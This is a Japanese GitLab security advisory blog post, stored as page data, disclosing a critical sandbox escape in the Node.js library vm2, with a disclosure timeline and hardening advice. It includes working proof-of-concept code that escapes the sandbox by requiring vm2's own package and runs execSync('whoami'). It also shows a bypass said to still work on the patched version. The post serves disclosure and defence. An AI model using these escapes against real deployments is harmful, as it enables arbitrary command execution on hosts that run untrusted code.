[{"data":1,"prerenderedAt":1788},["ShallowReactive",2],{"/ja-jp/blog/critical-remote-code-execution-in-vm2":3,"navigation-ja-jp":1028,"banner-ja-jp":1461,"footer-ja-jp":1469,"blog-post-authors-ja-jp-Abisheik Magesh|Daniel Abeles":1723,"blog-related-posts-ja-jp-critical-remote-code-execution-in-vm2":1749,"blog-share-wrapper-ja-jp":1769,"next-steps-ja-jp":1779},{"id":4,"title":5,"authors":6,"body":9,"category":1010,"date":1011,"description":1012,"extension":1013,"externalUrl":1014,"faq":1014,"featured":1015,"heroImage":1016,"meta":1017,"navigation":279,"path":1018,"seo":1019,"slug":1021,"stem":1022,"tags":1023,"template":1025,"updatedDate":1026,"__hash__":1027},"blogPosts/ja-jp/blog/critical-remote-code-execution-in-vm2.md","Node.jsサンドボックスライブラリvm2に、CVSS 10.0のリモートコード実行の脆弱性",[7,8],"Abisheik Magesh","Daniel Abeles",{"type":10,"value":11,"toc":1000},"minimark",[12,21,28,31,72,75,79,90,93,96,107,168,193,199,335,351,449,455,549,556,576,586,589,671,675,694,704,710,796,802,805,813,822,825,828,840,843,869,873,898,909,912,970,973,977,990,993,996],[13,14,15,16,20],"p",{},"GitLabの脅威リサーチグループは、Node.jsのサンドボックスライブラリとして広く採用されているvm2に、深刻なサンドボックス脱出の脆弱性を発見しました。攻撃の起点となるのは、vm2自身のREADMEからそのままコピーできる設定です。評価はCVSS 3.1で10.0、区分は「緊急」。発見にはGitLab独自のAI自動化ツールを用いました。",[17,18,19],"code",{},"require.external","を有効にしたvm2バージョン3.11.6以前を運用しているなら、直接悪用可能な状態だと考えてください。",[13,22,23,27],{},[24,25,26],"strong",{},"発見後、GitLabがvm2を使用していないことは確認済みです。"," 脆弱性はvm2側へ非公開で報告し、メンテナーはバージョン3.11.7で迅速に修正。修正版をあらためて検証したところ、報告したとおりの攻撃はブロックされました。",[13,29,30],{},"ただし、vm2に依存しているのであれば、もう一点お伝えしておきたいことがあります。メンテナー自身による修正の説明を踏まえると、今回のパッチだけでは解消しきれない、より広い設定上のリスクが残っています。",[32,33,34,39,42,45,55,69],"blockquote",{},[13,35,36],{},[24,37,38],{},"TL;DR",[13,40,41],{},"深刻な脆弱性：GitLabの脅威リサーチグループは、広く使われているNode.jsサンドボックスライブラリvm2に、リモートコード実行につながる深刻なサンドボックス脱出（CVSS 3.1: 10.0）を発見しました。",[13,43,44],{},"根本原因：脆弱性の起点は、ライブラリ自身のREADME「Quick Examples」に記載されたデフォルト設定です。サンドボックスがホストシステムから適切に隔離されず、悪意あるコードが無制限のアクセス権を獲得します。",[13,46,47,48,50,51,54],{},"修正の限界：バージョン3.11.7への更新で、報告された攻撃そのものはブロックされます。ただし根底にある設定上のリスクは解消されず、",[17,49,19],{},"を広すぎる",[17,52,53],{},"require.root","と組み合わせて使い続ける限り、危険は残ったままです。",[13,56,57,58,60,61,64,65,68],{},"早急に実施すべき対応：バージョン3.11.7へ更新したうえで、設定を手動で強化してください。",[17,59,53],{},"は必要なファイルだけに限定し、デフォルトの",[17,62,63],{},"'host'","任せにせず",[17,66,67],{},"context: 'sandbox'","を明示的に指定します。",[13,70,71],{},"長期的な指針：vm2にはサンドボックス脱出の不具合を繰り返してきた経緯があります。本当に信頼できないコードの隔離にvm2を使うのは避け、コンテナやプロセス分離といった、より堅牢な手段を選ぶことをおすすめします。",[73,74],"br",{},[76,77,78],"h2",{"id":78},"サンドボックスライブラリが狙われる理由",[13,80,81,82,85,86,89],{},"完全には信頼できないコードを実行するアプリケーション（プラグインシステム、コーディング用のプレイグラウンド、CIのテストランナー、そして最近ではAIが生成したコードをAI自身に実行させるツール）は、そのコードをNodeの通常の",[17,83,84],{},"require()","や",[17,87,88],{},"eval()","にそのまま渡すわけにはいきません。渡してしまえば、そのコードはアプリケーション本体と同じ権限を持ってしまいます。",[13,91,92],{},"vm2はこのギャップを埋めるために作られたライブラリです。信頼できないコードには通常のJavaScript実行環境を模した偽の環境だけを与え、その下にある本物のシステムへ手を伸ばそうとする動きを遮断します。ところが攻撃者にサンドボックスから抜け出されてしまえば、その防御はすべて見せかけ。しかもvm2を導入したデベロッパーの目には、何も問題がないように映ります。多くのアプリケーションがvm2に依存している以上、vm2に空いた穴は、その上に構築されたすべてのアプリケーションの穴になるということです。",[76,94,95],{"id":95},"脆弱性の仕組み",[13,97,98,99,102,103,106],{},"vm2の",[17,100,101],{},"NodeVM","には、サンドボックス内のコードがJavaScriptの組み込みモジュール以外を読み込めるかどうかを制御する",[17,104,105],{},"require","オプションがあります。以下は、vm2自身のREADMEの「Quick Examples」に最初に載っている例です。",[108,109,114],"pre",{"className":110,"code":111,"language":112,"meta":113,"style":113},"language-javascript shiki shiki-themes github-light","const vm = new NodeVM({\n  require: { external: true, root: './' },\n});\n","javascript","",[17,115,116,143,162],{"__ignoreMap":113},[117,118,121,125,129,132,135,139],"span",{"class":119,"line":120},"line",1,[117,122,124],{"class":123},"sD7c4","const",[117,126,128],{"class":127},"sYu0t"," vm",[117,130,131],{"class":123}," =",[117,133,134],{"class":123}," new",[117,136,138],{"class":137},"s7eDp"," NodeVM",[117,140,142],{"class":141},"sgsFI","({\n",[117,144,146,149,152,155,159],{"class":119,"line":145},2,[117,147,148],{"class":141},"  require: { external: ",[117,150,151],{"class":127},"true",[117,153,154],{"class":141},", root: ",[117,156,158],{"class":157},"sYBdl","'./'",[117,160,161],{"class":141}," },\n",[117,163,165],{"class":119,"line":164},3,[117,166,167],{"class":141},"});\n",[13,169,170,173,174,176,177,180,181,184,185,188,189,192],{},[17,171,172],{},"external: true","は、サンドボックス内のコードが外部ファイルに対して",[17,175,84],{},"を呼び出すことを許可するオプションです。",[17,178,179],{},"root","はその範囲を安全な1つのフォルダーに限定するためのもの。ところが通常のnpmプロジェクトでは、vm2自身のインストール済みコピーを含む",[17,182,183],{},"./node_modules","が",[17,186,187],{},"./","の中に入っています。つまり",[17,190,191],{},"root: './'","は一見すると安全策に見えるものの、実際にはvm2自体を締め出せていません。",[13,194,195,198],{},[17,196,197],{},"lib/resolver-compat.js","にある2つのデフォルト設定が、このすき間を完全なコード実行へと変えてしまいます。",[108,200,202],{"className":110,"code":201,"language":112,"meta":113,"style":113},"const {\n  external: externalOpt,\n  root: rootPaths,\n  context = 'host',   // デフォルトは 'host'\n  ...\n} = options;\n\nisPathAllowed(filename) {\n  if (this.rootPaths === undefined) return true;\n  // それ以外は、filename が rootPaths の内側にあるかを判定\n}\n",[17,203,204,211,226,238,256,262,274,281,290,323,329],{"__ignoreMap":113},[117,205,206,208],{"class":119,"line":120},[117,207,124],{"class":123},[117,209,210],{"class":141}," {\n",[117,212,213,217,220,223],{"class":119,"line":145},[117,214,216],{"class":215},"sqxcx","  external",[117,218,219],{"class":141},": ",[117,221,222],{"class":127},"externalOpt",[117,224,225],{"class":141},",\n",[117,227,228,231,233,236],{"class":119,"line":164},[117,229,230],{"class":215},"  root",[117,232,219],{"class":141},[117,234,235],{"class":127},"rootPaths",[117,237,225],{"class":141},[117,239,241,244,246,249,252],{"class":119,"line":240},4,[117,242,243],{"class":127},"  context",[117,245,131],{"class":123},[117,247,248],{"class":157}," 'host'",[117,250,251],{"class":141},",   ",[117,253,255],{"class":254},"sAwPA","// デフォルトは 'host'\n",[117,257,259],{"class":119,"line":258},5,[117,260,261],{"class":141},"  ...\n",[117,263,265,268,271],{"class":119,"line":264},6,[117,266,267],{"class":141},"} ",[117,269,270],{"class":123},"=",[117,272,273],{"class":141}," options;\n",[117,275,277],{"class":119,"line":276},7,[117,278,280],{"emptyLinePlaceholder":279},true,"\n",[117,282,284,287],{"class":119,"line":283},8,[117,285,286],{"class":137},"isPathAllowed",[117,288,289],{"class":141},"(filename) {\n",[117,291,293,296,299,302,305,308,311,314,317,320],{"class":119,"line":292},9,[117,294,295],{"class":123},"  if",[117,297,298],{"class":141}," (",[117,300,301],{"class":127},"this",[117,303,304],{"class":141},".rootPaths ",[117,306,307],{"class":123},"===",[117,309,310],{"class":127}," undefined",[117,312,313],{"class":141},") ",[117,315,316],{"class":123},"return",[117,318,319],{"class":127}," true",[117,321,322],{"class":141},";\n",[117,324,326],{"class":119,"line":325},10,[117,327,328],{"class":254},"  // それ以外は、filename が rootPaths の内側にあるかを判定\n",[117,330,332],{"class":119,"line":331},11,[117,333,334],{"class":141},"}\n",[13,336,337,340,341,344,345,347,348,350],{},[17,338,339],{},"require('./node_modules/vm2')","は、そのパスがrootの内側にあるためチェックを通過します。さらに",[17,342,343],{},"context","のデフォルトが",[17,346,63],{},"であるため、このファイルはvm2独自のローダーではなく、Nodeの本物の、サンドボックス化されていない",[17,349,84],{},"を通じて読み込まれます。",[108,352,354],{"className":110,"code":353,"language":112,"meta":113,"style":113},"loadJS(vm, mod, filename) {\n  if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);\n  const m = this.hostRequire(filename);   // 本物のNode.js require()\n  mod.exports = vm.readonly(m);\n}\n",[17,355,356,364,405,429,445],{"__ignoreMap":113},[117,357,358,361],{"class":119,"line":120},[117,359,360],{"class":137},"loadJS",[117,362,363],{"class":141},"(vm, mod, filename) {\n",[117,365,366,368,370,372,375,378,381,384,386,389,391,393,395,398,400,402],{"class":119,"line":145},[117,367,295],{"class":123},[117,369,298],{"class":141},[117,371,301],{"class":127},[117,373,374],{"class":141},".",[117,376,377],{"class":137},"pathContext",[117,379,380],{"class":141},"(filename, ",[117,382,383],{"class":157},"'js'",[117,385,313],{"class":141},[117,387,388],{"class":123},"!==",[117,390,248],{"class":157},[117,392,313],{"class":141},[117,394,316],{"class":123},[117,396,397],{"class":127}," super",[117,399,374],{"class":141},[117,401,360],{"class":137},[117,403,404],{"class":141},"(vm, mod, filename);\n",[117,406,407,410,413,415,418,420,423,426],{"class":119,"line":164},[117,408,409],{"class":123},"  const",[117,411,412],{"class":127}," m",[117,414,131],{"class":123},[117,416,417],{"class":127}," this",[117,419,374],{"class":141},[117,421,422],{"class":137},"hostRequire",[117,424,425],{"class":141},"(filename);   ",[117,427,428],{"class":254},"// 本物のNode.js require()\n",[117,430,431,434,436,439,442],{"class":119,"line":240},[117,432,433],{"class":141},"  mod.exports ",[117,435,270],{"class":123},[117,437,438],{"class":141}," vm.",[117,440,441],{"class":137},"readonly",[117,443,444],{"class":141},"(m);\n",[117,446,447],{"class":119,"line":258},[117,448,334],{"class":141},[13,450,451,452,454],{},"この時点でサンドボックス内のコードが手にしているのは、制限つきでラップされたvm2ではなく、フルの権限を持つ本物そのもの。攻撃者はその本物を使い、自分で決めたルールで2つ目の",[17,453,101],{},"を起動します。",[108,456,458],{"className":110,"code":457,"language":112,"meta":113,"style":113},"const real = require('./node_modules/vm2');\nconst inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });\nmodule.exports = inner.run(\n  \"module.exports = require('child_process').execSync('whoami').toString().trim()\",\n  'inner.js'\n);\n",[17,459,460,481,512,533,540,545],{"__ignoreMap":113},[117,461,462,464,467,469,472,475,478],{"class":119,"line":120},[117,463,124],{"class":123},[117,465,466],{"class":127}," real",[117,468,131],{"class":123},[117,470,471],{"class":137}," require",[117,473,474],{"class":141},"(",[117,476,477],{"class":157},"'./node_modules/vm2'",[117,479,480],{"class":141},");\n",[117,482,483,485,488,490,492,495,497,500,503,506,509],{"class":119,"line":145},[117,484,124],{"class":123},[117,486,487],{"class":127}," inner",[117,489,131],{"class":123},[117,491,134],{"class":123},[117,493,494],{"class":141}," real.",[117,496,101],{"class":137},[117,498,499],{"class":141},"({ require: { builtin: [",[117,501,502],{"class":157},"'child_process'",[117,504,505],{"class":141},"], external: ",[117,507,508],{"class":127},"false",[117,510,511],{"class":141}," } });\n",[117,513,514,517,519,522,524,527,530],{"class":119,"line":164},[117,515,516],{"class":127},"module",[117,518,374],{"class":141},[117,520,521],{"class":127},"exports",[117,523,131],{"class":123},[117,525,526],{"class":141}," inner.",[117,528,529],{"class":137},"run",[117,531,532],{"class":141},"(\n",[117,534,535,538],{"class":119,"line":240},[117,536,537],{"class":157},"  \"module.exports = require('child_process').execSync('whoami').toString().trim()\"",[117,539,225],{"class":141},[117,541,542],{"class":119,"line":258},[117,543,544],{"class":157},"  'inner.js'\n",[117,546,547],{"class":119,"line":264},[117,548,480],{"class":141},[13,550,551,552,555],{},"内側のサンドボックスに、外側のルールは適用されません。攻撃者が",[17,553,554],{},"child_process","を有効にして自ら作った、まったく新しいサンドボックスだからです。",[13,557,558,559,85,562,564,565,568,569,568,572,575],{},"外側のサンドボックスから直接",[17,560,561],{},"fs",[17,563,554],{},"に到達しようとすれば、本来どおり失敗します（",[17,566,567],{},"require('fs')","も",[17,570,571],{},"require('child_process')",[17,573,574],{},"\"Cannot find module\"","を投げます）。通常のブロックはすべて正常に機能しているわけです。唯一の抜け道が、たまたまvm2自身のパッケージであるファイルをrequireすること。その瞬間、攻撃者が手にしているのはブロックされた偽のコピーではなく、本物になります。",[13,577,578,579,582,583,585],{},"vm2には、同じ結末に至るサンドボックス脱出の不具合が過去に2件あります。",[17,580,581],{},"nesting: true","を悪用する回避（GHSA-8hg8-63c5-gwmx）と、",[17,584,53],{},"のシンボリックリンクを悪用する回避（GHSA-cp6g-6699-wx9c）。どちらの修正も、今回のコードには手が入っていません。過去2件に対処済みのデベロッパーであっても、今回の問題には完全に無防備なままです。",[13,587,588],{},"攻撃の連鎖を、順を追って見ていきます。",[590,591,592,602,612,649,662],"ol",{},[593,594,595,598,599],"li",{},[24,596,597],{},"前提となる設定","。デベロッパーは、vm2のREADME「Quick Examples」に示されたとおりにサンドボックスを作成します。",[17,600,601],{},"new NodeVM({ require: { external: true, root: './' } }).",[593,603,604,607,608,611],{},[24,605,606],{},"信頼できないコードの実行","。",[17,609,610],{},"vm.run(untrustedCode)","が、攻撃者の管理下にあるコードを実行し始めます。",[593,613,614,607,617,619,620,623,624],{},[24,615,616],{},"コードがvm2自身をrequireする",[17,618,339],{},"が呼び出されます。ここで",[17,621,622],{},"resolver-compat.js","の中の2点が同時に問題になります。",[625,626,627,638],"ul",{},[593,628,629,184,632,634,635,637],{},[17,630,631],{},"isPathAllowed()",[17,633,151],{},"を返す。そのパスが",[17,636,179],{},"の内側にあるためです。",[593,639,640,344,642,644,645,648],{},[17,641,343],{},[17,643,63],{},"であるため、vm2独自のローダーではなく",[17,646,647],{},"hostRequire()","が実行される。結果として、攻撃者のコードはサンドボックス化されたコピーではなく、ラップされていない本物のvm2モジュールを手にします。",[593,650,651,654,655,657,658,661],{},[24,652,653],{},"制限のない2つ目のサンドボックスを構築する","。その本物のvm2モジュールを使い、独自の設定で新しい",[17,656,101],{},"を作成します。",[17,659,660],{},"new real.NodeVM({ require: { builtin: ['child_process'] } }).","。この2つ目のサンドボックスは、完全に攻撃者の制御下にあります。",[593,663,664,607,667,670],{},[24,665,666],{},"制限なくコードが実行される",[17,668,669],{},"inner.run(\"require('child_process').execSync(...)\")","が実行され、攻撃者はホスト上で任意のコマンドを実行できるようになります。",[76,672,674],{"id":673},"修正の内容と実際のカバー範囲","修正の内容と、実際のカバー範囲",[13,676,677,678,680,681,684,685,687,688,690,691,693],{},"メンテナーは動作を確認したうえで、GitLabが別途提出していた重複報告（GHSA-w9c4-gw9x-53mq）を本件に統合し、そちらをクローズしました。リリースされた修正は",[17,679,197],{},"に入っており、サンドボックス内からvm2自身の",[17,682,683],{},"lib/","フォルダーとメインファイルを",[17,686,84],{},"する動きをブロックします。これで、",[17,689,53],{},"の設定内容にかかわらず、ネストされたVMを使う手口は封じられたかたち。別の不具合である",[17,692,581],{},"は、今回の修正では手つかずのままです。",[13,695,696,697,699,700,703],{},"ただし、この修正は見た目よりも適用範囲が狭いのが実情です。",[17,698,53],{},"を一切設定せずに",[17,701,702],{},"require.external: true","を有効にした場合、vm2はブロックせず警告を1回出すだけで、コードはそのまま実行されます。",[13,705,706,707,709],{},"さらに、READMEと同じ設定のまま、vm2自身のパッケージではなく",[17,708,554],{},"を露出させている別のファイルを指定すれば、3.11.7でも完全なリモートコード実行が成立します。エラーも警告も出ません。",[108,711,713],{"className":110,"code":712,"language":112,"meta":113,"style":113},"// evil-helper/index.js（vm2とは無関係のファイル）\nmodule.exports = require('child_process');\n\nconst cp = require('./evil-helper/index.js');\nmodule.exports = cp.execSync('whoami').toString().trim();\n",[17,714,715,720,738,742,760],{"__ignoreMap":113},[117,716,717],{"class":119,"line":120},[117,718,719],{"class":254},"// evil-helper/index.js（vm2とは無関係のファイル）\n",[117,721,722,724,726,728,730,732,734,736],{"class":119,"line":145},[117,723,516],{"class":127},[117,725,374],{"class":141},[117,727,521],{"class":127},[117,729,131],{"class":123},[117,731,471],{"class":137},[117,733,474],{"class":141},[117,735,502],{"class":157},[117,737,480],{"class":141},[117,739,740],{"class":119,"line":164},[117,741,280],{"emptyLinePlaceholder":279},[117,743,744,746,749,751,753,755,758],{"class":119,"line":240},[117,745,124],{"class":123},[117,747,748],{"class":127}," cp",[117,750,131],{"class":123},[117,752,471],{"class":137},[117,754,474],{"class":141},[117,756,757],{"class":157},"'./evil-helper/index.js'",[117,759,480],{"class":141},[117,761,762,764,766,768,770,773,776,778,781,784,787,790,793],{"class":119,"line":258},[117,763,516],{"class":127},[117,765,374],{"class":141},[117,767,521],{"class":127},[117,769,131],{"class":123},[117,771,772],{"class":141}," cp.",[117,774,775],{"class":137},"execSync",[117,777,474],{"class":141},[117,779,780],{"class":157},"'whoami'",[117,782,783],{"class":141},").",[117,785,786],{"class":137},"toString",[117,788,789],{"class":141},"().",[117,791,792],{"class":137},"trim",[117,794,795],{"class":141},"();\n",[13,797,798,799,801],{},"3.11.7で追加された警告が表示されるのは、",[17,800,179],{},"がまったく指定されていない場合だけです。rootは設定されているものの範囲が広すぎる場合、つまりREADMEの例そのものの状態では、警告は出ないまま。どちらのケースもGitLab側で実際に検証済みです。",[13,803,804],{},"補足として、次の2点も押さえておいてください。",[625,806,807,810],{},[593,808,809],{},"メンテナーが本件と同時にリリースしたCLIの修正には、別のアドバイザリ（GHSA-jxxv-8r27-vm4p）が割り当てられています。",[593,811,812],{},"バージョン3.11.7は、無関係な3件の不具合修正も含む統合リリースです。",[13,814,815,816,818,819,821],{},"まとめると、バージョン3.11.7は今回の攻撃経路をしっかり塞いでいます。一方で、厳密に絞り込んだ空の",[17,817,179],{},"フォルダーを使わずに",[17,820,19],{},"を利用しているアプリケーション全般には、より広いリスクが残ったまま。こちらは規模も難度も大きく、別途取り組む価値のある課題です。",[76,823,824],{"id":824},"自社の影響範囲を確認する",[13,826,827],{},"vm2は長年にわたり、プラグインシステム、コード実行プラットフォーム、CIツールの内部で使われてきました。近年は、AIモデルが書いたコードを実行するAIツールでの採用も増えています。どの指標で見ても利用規模は大きく、npmでは週あたり約125万ダウンロード、月間では500万以上。GitHubのスター数は4,000超、フォーク数は328に達します。",[13,829,830,831,184,834,836,837,839],{},"これは、誰かが設定を誤った結果ではありません。vm2自身のREADMEに載っている最初の例そのもの。",[17,832,833],{},"node_modules",[17,835,179],{},"に対してどこに位置するかを自分で確認せずにこの例をコピーしたデベロッパーは、バージョン3.11.7への更新の前後を問わず、",[17,838,53],{},"を自ら絞り込まない限りデフォルトで影響を受けます。",[13,841,842],{},"vm2が脆弱なままである背景には、次の性質があります。",[625,844,845,851,863],{},[593,846,847,848,850],{},"安全に見えて、実際には安全でないデフォルト設定。",[17,849,191],{},"は制限のように読めますが、本当に制限として働くかどうかは、そのフォルダーに他に何が置かれているかで完全に決まります。",[593,852,853,854,856,857,859,860,862],{},"警告が添えられていない危険なデフォルト。",[17,855,343],{},"のデフォルトは",[17,858,63],{},"ですが、その事実はコード中のコメントに埋もれたままです。READMEで太字の警告と専用セクションが与えられている",[17,861,581],{},"とは対照的といえます。",[593,864,865,866,868],{},"見落としやすいパターン。過去の不具合も",[17,867,581],{},"を経由して、同じ「制限のないネストされたVM」という結果に到達していました。その修正も今回の修正も、報告された個別の手口はきちんと塞いでいます。難しいのは、両者に共通する根本原因を一度に塞ぎ切ること。これはvm2の開示履歴に一貫して見られる課題でもあります。2026年に至るまで深刻なサンドボックス脱出の不具合が続いており、いくつかは完全な対処までに複数回のラウンドを要したのも無理はありません。",[76,870,872],{"id":871},"今何をすべきか","今、何をすべきか",[13,874,875,878,879,881,882,884,885,887,888,890,891,893,894,897],{},[24,876,877],{},"vm2を利用している場合","：まずバージョン3.11.7へ更新してください。ただし、更新だけでは解決しません。",[17,880,53],{},"には、サンドボックスが実際に必要とするファイルだけを置いたフォルダーを指定すること。",[17,883,833],{},"や、直接あるいは別のファイル経由で",[17,886,554],{},"・",[17,889,561],{},"に到達しうるものは、そこから排除します。",[17,892,343],{},"もデフォルト任せにせず、",[17,895,896],{},"'sandbox'","を明示的に指定してください。さらに、これまでの経緯を踏まえるなら、新規プロジェクトで本当に信頼できないコードを隔離する用途にvm2を選ぶのは避けたほうが賢明。コンテナやプロセス分離のほうが、はるかに強固な壁になります。",[13,899,900,903,904,908],{},[24,901,902],{},"サンドボックスツールを開発している場合","：「このフォルダーに限定する」という設定の安全性は、そのフォルダーにある最も弱いファイルと同じ水準にしかなりません。何を読み込めるかを決める設定だけでなく、コードが",[905,906,907],"em",{},"どのように","読み込まれるか（サンドボックス経由か、本物か）を変える設定にも、同じだけの注意を払ってください。ライブラリのデフォルト設定は、公式だからという理由で信頼せず、自分で検証すること。そして、手元のテスト攻撃を防げたからといって、その修正が本質的な問題を解決したと決めつけないでください。",[76,910,911],{"id":911},"開示タイムライン",[913,914,915,928],"table",{},[916,917,918],"thead",{},[919,920,921,925],"tr",{},[922,923,924],"th",{},"日付",[922,926,927],{},"出来事",[929,930,931,940,948,955,962],"tbody",{},[919,932,933,937],{},[934,935,936],"td",{},"2026-07-23",[934,938,939],{},"GitHubの非公開セキュリティアドバイザリ経由でメンテナーに報告",[919,941,942,945],{},[934,943,944],{},"2026-08-18",[934,946,947],{},"メンテナーが報告を受理",[919,949,950,952],{},[934,951,944],{},[934,953,954],{},"メンテナーの非公開フォークに修正をコミット",[919,956,957,959],{},[934,958,944],{},[934,960,961],{},"非公開フォーク上で、PoCに対する修正の有効性を検証",[919,963,964,967],{},[934,965,966],{},"2026-08-24",[934,968,969],{},"公開アドバイザリを公表。vm2 3.11.7をリリースし、CVEを申請",[13,971,972],{},"報告を受け入れ、同一リリースで修正を届けてくれたvm2のメンテナーに感謝いたします。本記事の内容は、メンテナー自身による修正の説明を土台としたものであり、それに反論するものではありません。",[76,974,976],{"id":975},"gitlabでできること","GitLabでできること",[13,978,979,980,986,987,989],{},"GitLab Duo Agent Platformの一部である",[981,982,985],"a",{"href":983,"rel":984},"https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/",[],"GitLab Duoセキュリティ分析エージェント","を使えば、同じ問題が自社のコードベースに潜んでいないかを確認できます。まずは「このプロジェクトは、",[17,988,19],{},"を有効にしたサンドボックスライブラリ経由で信頼できないコードを実行しているか」といった問いから始めてみてください。",[76,991,992],{"id":992},"今後に向けて",[13,994,995],{},"vm2の経緯が示しているのは、迅速で適切に扱われた修正であっても、より広い設定上のリスクが残りうるという事実です。報告された個別のケースと、その背後にあるパターンは、必ずしも同じものではありません。サンドボックスライブラリのセキュリティ履歴を確認するときに問うべきは、報告が修正されたかどうかだけではなく、その修正がより広いパターンまでカバーしているかどうか。そして、安全だと誰かに伝える前に、実際のコード変更を自分の目で確かめる。この習慣には常に価値があります。",[997,998,999],"style",{},"html pre.shiki code .sD7c4, html code.shiki .sD7c4{--shiki-default:#D73A49}html pre.shiki code .sYu0t, html code.shiki .sYu0t{--shiki-default:#005CC5}html pre.shiki code .s7eDp, html code.shiki .s7eDp{--shiki-default:#6F42C1}html pre.shiki code .sgsFI, html code.shiki .sgsFI{--shiki-default:#24292E}html pre.shiki code .sYBdl, html code.shiki .sYBdl{--shiki-default:#032F62}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sqxcx, html code.shiki .sqxcx{--shiki-default:#E36209}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}",{"title":113,"searchDepth":145,"depth":145,"links":1001},[1002,1003,1004,1005,1006,1007,1008,1009],{"id":78,"depth":145,"text":78},{"id":95,"depth":145,"text":95},{"id":673,"depth":145,"text":674},{"id":824,"depth":145,"text":824},{"id":871,"depth":145,"text":872},{"id":911,"depth":145,"text":911},{"id":975,"depth":145,"text":976},{"id":992,"depth":145,"text":992},"security-labs","2026-09-02","GitLabの脅威リサーチグループは、Node.jsサンドボックスライブラリvm2に深刻なサンドボックス脱出の脆弱性を発見しました。公式ドキュメント記載の設定のまま、攻撃者のコードが実行されます。","md",null,false,"https://res.cloudinary.com/about-gitlab-com/image/upload/v1782237704/cj50chkvprjthczevmog.png",{},"/ja-jp/blog/critical-remote-code-execution-in-vm2",{"config":1020,"title":5,"description":1012},{"noIndex":1015},"critical-remote-code-execution-in-vm2","ja-jp/blog/critical-remote-code-execution-in-vm2",[1024],"security","BlogPost","2026-09-03","fH5lYJXvUZpZTo6Zd7GVvSXO1V41YPx95BnPn3Zqg6I",{"logo":1029,"freeTrial":1034,"sales":1039,"login":1044,"items":1049,"search":1380,"minimal":1413,"duo":1431,"switchNav":1440,"pricingDeployment":1451},{"config":1030},{"href":1031,"dataGaName":1032,"dataGaLocation":1033},"/ja-jp/","gitlab logo","header",{"text":1035,"config":1036},"無料トライアルを開始",{"href":1037,"dataGaName":1038,"dataGaLocation":1033},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp&glm_content=default-saas-trial/","free trial",{"text":1040,"config":1041},"デモをリクエスト",{"href":1042,"dataGaName":1043,"dataGaLocation":1033},"/request-a-demo/","sales",{"text":1045,"config":1046},"サインイン",{"href":1047,"dataGaName":1048,"dataGaLocation":1033},"https://gitlab.com/users/sign_in/","sign in",[1050,1136,1224,1229,1304,1358],{"text":1051,"left":279,"config":1052,"menu":1054},"プラットフォーム",{"dataNavLevelOne":1053},"platform",{"type":1055,"link":1056,"columns":1060,"feature":1125},"lists",{"text":1057,"config":1058},"プラットフォームを詳しく見る",{"href":1059,"dataGaName":1053,"dataGaLocation":1033},"/ja-jp/platform/",[1061,1084,1107],{"title":1062,"items":1063},"実行とワークフロー",[1064,1069,1074,1079],{"text":1065,"config":1066},"CI/CD",{"href":1067,"dataGaLocation":1033,"dataGaName":1068},"/ja-jp/solutions/continuous-integration/","ci/cd",{"text":1070,"config":1071},"ソースコード管理",{"href":1072,"dataGaLocation":1033,"dataGaName":1073},"/ja-jp/solutions/source-code-management/","source code management",{"text":1075,"config":1076},"アジャイルデリバリー",{"href":1077,"dataGaLocation":1033,"dataGaName":1078},"/ja-jp/solutions/agile-delivery/","agile delivery",{"text":1080,"config":1081},"アーティファクト管理",{"href":1082,"dataGaLocation":1033,"dataGaName":1083},"/ja-jp/artifact-central/","artifact management",{"title":1085,"items":1086},"セキュリティとガバナンス",[1087,1092,1097,1102],{"text":1088,"config":1089},"アプリケーションセキュリティテスト",{"href":1090,"dataGaLocation":1033,"dataGaName":1091},"/ja-jp/solutions/application-security-testing/","application security testing",{"text":1093,"config":1094},"ガバナンスとコンプライアンス",{"href":1095,"dataGaLocation":1033,"dataGaName":1096},"/ja-jp/solutions/software-compliance/","governance and compliance",{"text":1098,"config":1099},"シークレット管理",{"href":1100,"dataGaLocation":1033,"dataGaName":1101},"/ja-jp/gitlab-secrets-manager/","secrets management",{"text":1103,"config":1104},"サプライチェーンセキュリティ",{"href":1105,"dataGaLocation":1033,"dataGaName":1106},"/ja-jp/solutions/supply-chain/","supply chain security",{"title":1108,"items":1109},"コンテキストとAI",[1110,1115,1120],{"text":1111,"config":1112},"エージェント型オーケストレーション",{"href":1113,"dataGaLocation":1033,"dataGaName":1114},"/ja-jp/gitlab-duo-agent-platform/","agentic orchestration",{"text":1116,"config":1117},"コンテキストグラフ",{"href":1118,"dataGaLocation":1033,"dataGaName":1119},"/ja-jp/gitlab-orbit/","context graph",{"text":1121,"config":1122},"可視性と測定",{"href":1123,"dataGaLocation":1033,"dataGaName":1124},"/ja-jp/solutions/visibility-measurement/","visibility and measurement",{"config":1126,"title":1129,"text":1130,"link":1131},{"background":1127,"textColor":1128},"url('https://res.cloudinary.com/about-gitlab-com/image/upload/v1790185102/o7dn32anqcb6z8dgd3as.jpg')","#000","GitLabが選ばれる理由","ひとつのプラットフォームで、ソフトウェアライフサイクル全体を通じてスピードと制御を両立できます。",{"text":1132,"config":1133},"詳細はこちら",{"href":1134,"dataGaName":1135,"dataGaLocation":1033},"/ja-jp/why-gitlab/","why gitlab",{"text":1137,"left":279,"config":1138,"menu":1140},"ソリューション",{"dataNavLevelOne":1139},"solutions",{"type":1055,"link":1141,"columns":1145,"feature":1215},{"text":1142,"config":1143},"すべてのソリューションを表示",{"href":1144,"dataGaName":1139,"dataGaLocation":1033},"/ja-jp/solutions/",[1146,1164,1182],{"title":1147,"items":1148},"成果",[1149,1154,1159],{"text":1150,"config":1151},"DevOpsモダナイゼーション",{"href":1152,"dataGaLocation":1033,"dataGaName":1153},"/ja-jp/assessments/devops-modernization-assessment/","devops modernization",{"text":1155,"config":1156},"セキュリティモダナイゼーション",{"href":1157,"dataGaLocation":1033,"dataGaName":1158},"/ja-jp/assessments/security-modernization-assessment/","security 